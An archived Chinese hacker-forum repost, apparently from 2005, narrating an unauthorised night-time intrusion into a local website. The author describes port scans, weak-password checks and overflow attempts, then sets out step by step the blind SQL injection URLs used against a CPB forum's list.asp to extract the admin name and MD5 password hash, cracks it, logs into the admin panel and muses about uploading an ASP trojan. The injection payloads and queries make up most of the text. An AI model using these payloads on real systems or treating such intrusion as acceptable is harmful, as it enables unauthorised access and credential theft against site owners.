邪恶八进制信息安全团队技术讨论组's Archiver

exploit 2005-5-1 03:38

[转载]入侵日记一则

  信息来源:军团论坛

昨晚又通宵。。。。。。心烦!在石油行业混当这么长时间,现在又在鄂尔多斯这么些日子,已经没有了学习计算机的兴趣~登陆QQ看看,好友全不在线。无聊信手乱开网页,来到本地一个比较有名的网站,看了看,比上次来时多加了些新东西。反正没事做,就检测一下这个站的安全性吧

在网站转了一下,看到也有文章系统。不过是HTM的,但用鼠标指向连接,可以看到:
[url]http://xxx.xxx.xxx/0019/open.asp?id=888&path=wshl&filename&=200381171455.htm[/url]

我提交[url]http://xxx.xxx.xxx/0019/open.asp?id=888[/url] and 1=1

跳回主页

接着提交[url]http://xxx.xxx.xxx/0019/open.asp?id=888[/url] and 1=2

跳回主页

看来是不能利用了。哈哈

接着,我利用软件XSCAN扫了下端口和CGI,IIS漏洞

打开CMD命令提示符窗口,输入PING XXX.XXX.XXX.XXX从返回信息得到IP-----SSS.SSS.SSS.SSS
晕,开了很多端口,给我的第一印象就是-----这站够垃圾~

看主机开的那些端口,和我机子上WIN2000SERVER默认开的端口差不多,估计是WIN2000SERVER版。

我菜,找了几个比较熟悉的试了一下,如21,80,135,139。

21 端口,我试着扫了下FTP弱口令和是否支持匿名登陆。失败~~~~:(
139端口,试着扫了IPC弱口令,(结果被我扫出有弱口令,那这服务器也太。。。。。。··##%¥#—,哈哈),并且用NET VIEW看了下有没有共享。失败~~~~:(

80端口,我先在CMD命令提示符下:
telnet sss.sss.sss.sss 80
get 回车
从返回的信息得知是IIS5。0
可能有WEBDAV溢出漏洞,用WEBDAV溢出程序试了一下,失败~~~~

135端口,记得这端口可能可以RPC溢出,正好我的机子上有这工具,试了下,失败~~~~

无奈,又到站上逛了一下,这时,发现一个论坛。点击进去看了看。

是个CPB论坛,版本1.2,用ASP写的,以前没见过。

去GOOGLE搜了一下有没有关于这论坛的漏洞资料,无。。。。。

试着注册一个用户,管理员屏蔽了用户注册。

下了一个CPB论坛程序,看了看数据库,ASP的,也不能下载。

看CPB论坛说明得知默认管理员帐号和密码 admin admin

试试看管理员改了密码没,用admin admin登陆,提示登陆失败。看来管理员改了密码或删掉了admin用户。

不管那么多了,先进个版块看看吧,随手点了个版块。这是,看到版块的URL,

_id=4">[url]http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4[/url]

看这个连接可能有SQL漏洞,虽然以前没有SQL过论坛,还是试了一下。

首先,提交_id=4">[url]http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4[/url] and 1=1

正常返回

然后,提交_id=4">[url]http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4[/url] and 1=2

出错。

看来有SQL漏洞。但此时心中也没有一点窃喜,根据以前SQL下载系统的经练,仅凭这点,还没把握拿到密码。不管那么多,先试下吧。

接着,看看是否存在ADMIN表,提交_id=4">[url]http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4[/url] and exists (select * from admin)

返回的是一个出错的页面,提示:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80004005'

[Microsoft][ODBC Microsoft Access Driver] 操作必须使用一个可更新的查询。

/bbs/list.asp,行145

这和我以前玩过的不一样,以前玩的都是正常返回。我随手在表admin后加了个S,
提交如下: _id=4">[url]http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4[/url] and exists (select * from admins)

显示“该页无法显示”

我又试着提交_id=4">[url]http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4[/url] and exists (select * from admindfgfdg)

显示"该页无法显示 “

通过这点,我判断,第一次我提交的应该是成功的,就是说,应该存在ADMIN表。

接着,判断管理员ADMIN表ID,提交_id=4">[url]http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4[/url] and exists (select id from admin where id>1)

显示"该页无法显示 “

看这个返回结果,显然是不正常的返回,而且ID的值我是从最小的1判断的,肯定那里出错了,具体我也说不清楚,我菜~

接着,我试了下提交_id=4">[url]http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4[/url] and exists (select l_id from admin where l_id>1),也就是把ID改成了l_id,这是我以前没玩过的。

返回的是,出错。
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e10'

[Microsoft][ODBC Microsoft Access Driver] 参数不足,期待是 1。

/bbs/list.asp,行145

这和判断是否存在ADMIN表时返回的是一样的。我窃喜了一下,接着试着提交:

_id=4">[url]http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4[/url] and exists (select ls_id from admin where ls_id>1)

显示“该页无法显示"

因此,我断定ID应该用l_id,可能这对高手来说早就知道了,但这对菜鸟我来说,从没玩过,哈哈,看来今天就算拿不到密码也是有收获的,因为又多了点SQL注入的经练。

之后就是很顺利的,提交:_id=4">[url]http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4[/url] and exists (select l_id from admin where l_id>5)

返回
错误提示:

您是否阅读了帮助文件,您没有权限继续下一步操作,通常是以下原因:
很抱歉,无此论坛!

看来l_id的值小与或等于,提交_id=4">[url]http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4[/url] and exists (select l_id from admin where l_id=4)

返回
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e10'

[Microsoft][ODBC Microsoft Access Driver] 参数不足,期待是 1。

/bbs/list.asp,行145

因此判断l_id的值为4.

接下来猜ADMIN表里的用户名长度,提交_id=4">[url]http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4[/url] and 4=(select min(l_id) from admin where len(username)>1)

依然从最小的1开始判断,返回:
错误提示:

您是否阅读了帮助文件,您没有权限继续下一步操作,通常是以下原因:
很抱歉,无此论坛!

说明没有username,试了下

_id=4">[url]http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4[/url] 4=(select min(l_id) from admin where len(admin)>1)

根据结果得知存在admin,接着提交_id=4">[url]http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4[/url] and 4=(select min(l_id) from admin where len(admin)=5)

返回的信息说明admin长度为5。

接着猜用户名,根据刚才看到的CPB论坛默认管理员帐号admin,一次提交:

_id=4">[url]http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4[/url] and 4=(select min(l_id) from admin where left(admin,5)='admin')

呵呵,成功。减少了不少麻烦。

接下来猜密码长度,提交_id=4">[url]http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4[/url] and 4=(select min(l_id) from admin where len(password)>1)

返回
Microsoft OLE DB Provider for ODBC Drivers 错误 '80004005'

[Microsoft][ODBC Microsoft Access Driver] 操作必须使用一个可更新的查询。

/bbs/list.asp,行145

哈哈,看来有password,接下来猜长度,提交
_id=4">[url]http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4[/url] and 4=(select min(l_id) from admin where len(password)>8

返回
Microsoft OLE DB Provider for ODBC Drivers 错误 '80004005'

[Microsoft][ODBC Microsoft Access Driver] 操作必须使用一个可更新的查询。

/bbs/list.asp,行145

说明密码大于8。

然后提交:
_id=4">[url]http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4[/url] and 4=(select min(l_id) from admin where len(password)>10

返回和上面一样,这时,根据经练,有种不祥的预感,密码用MD5加密了的!MD5加密算法不可逆,目前只能暴力破解.

接着提交:

_id=4">[url]http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4[/url] and 4=(select min(l_id) from admin where len(password)=16
返回和上面一样,晕呀~~~~~~~~~~~~~果然是MD5加密过的了。

不管那么多了,先猜出来吧,说不定也可以象DVBBS6。0那样可以通过COOK欺骗进入后台管理。

提交:_id=4">[url]http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4[/url] and 4=(select min(l_id) from admin where left(password,1)='a')

错误。

依次猜:
_id=4">[url]http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4[/url] and 4=(select min(l_id) from admin where left(password,1)='b')
错误
当试到_id=4">[url]http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4[/url] and 4=(select min(l_id) from admin where left(password,1)='e'),
正确,后面猜第2位密码
_id=4">[url]http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4[/url] and 4=(select min(l_id) from admin where left(password,2='6')
第3位:
_id=4">[url]http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4[/url] and 4=(select min(l_id) from admin where left(password,2='f')

花了一点时间,才出MD5加密的密码为:e6f448a30c41a4ea

抱着试下的心理去网上DOWN了个MD5暴力破解工具,先猜数字,长度选5-6,偶晕~~~~~,1分钟不到,猜出来,密码225588,我都不相信,试了下登陆,居然成功。
哈哈,今天运气真好,要是现在福彩没关门,我一定去买~~~~~~~~~~

在后台转了一下,发现可以设置上传文件类型,偶晕~
如果上传个ASP木马,然后。。。。。。。。嘿嘿~~~~~
有可能搞定整个服务器,偶晕~
好了,不要太过分。到此为止。
看了管理员资料,找到QQ,看了不在线,睡觉吧,已经早晨8点30分了。


没有什么技术可言,只是通报昨晚的行动,如果有恶意想法,就别看哦,出事我不负责。

页: [1]
© 1999-2008 EvilOctal Security Team